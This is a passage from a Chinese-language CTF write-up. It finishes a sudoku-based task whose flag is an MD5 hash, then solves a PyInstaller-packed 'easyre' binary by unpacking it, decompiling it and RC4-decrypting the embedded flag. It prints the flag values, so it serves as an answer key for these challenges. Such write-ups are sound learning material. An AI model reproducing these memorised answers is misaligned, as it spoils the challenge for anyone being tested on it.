因此：097513268538426917612987354759164823261839475843275196986351742125748639374692581 就是我们最终的数独，我们将其输入到脚本中可得到： 将flag按照出题人要求的，将数独取MD5哈希值，即为flag。 但此处解出来flag之后，出题人并未指明flag的具体格式，在比赛中途我没有再去尝试这一题。 [WEEK3] easyre 下载题目，发现是一个可执行文件，打开之后需要我们输入Key，Key的范围是0-100，我直接用爆破的方式了，解出来key是23，输入之后，下面让我们输入flag，我们将其拖入DIE查看，会发现他的Packer是PyInstaller，从这里可以判断这个是用Py打包的方式生成的可执行文件： 那么我们直接调用pyinstxtractor对其进行解包，拿到其中的python脚本文件(.pyc)，此程序的主要脚本是main.pyc，然后再使用python字节码反汇编工具pycdc得到正常的python源代码： 反汇编出来python源代码之后，我们要注意的是：我们需要配置与他的源代码一致的python环境，从反汇编的信息上来看，这个脚本是python3.8的版本，我们配置完环境之后直接调试这段代码即可，我们在图中指向的地方下断点，这里的主要目的是为了拿到他处理后的执行代码，flag的字节就在里面。 断下来之后，我们查看输出窗口，找到co_consts，展开就可以看到与flag有关的信息，从中我们可以看到，flag是一个用rc4算法加密之后的字符串，并且加密时用的key也显示了出来。程序用rc4算法对你输入的flag进行加密，验证是否与加密后的flag相等，如果相等，就会输出yes，否则输出no，那么到了这里我们直接调用rc4的解密算法来对flag进行解密即可。 运行以上代码，即可得到flag：flag{d8e8d9d0-b2b1-7304-74b760-90b11ab6a3} 尾言 以上解析部分代码不能提供文本，主要原因在于我自己，因为写每一题的时候，都直接把上一题的代码覆盖掉了，然后昨天手贱把这次CTF的所有代码都删了，真无语。 如果有错误的地方，请及时指出，喵~~~！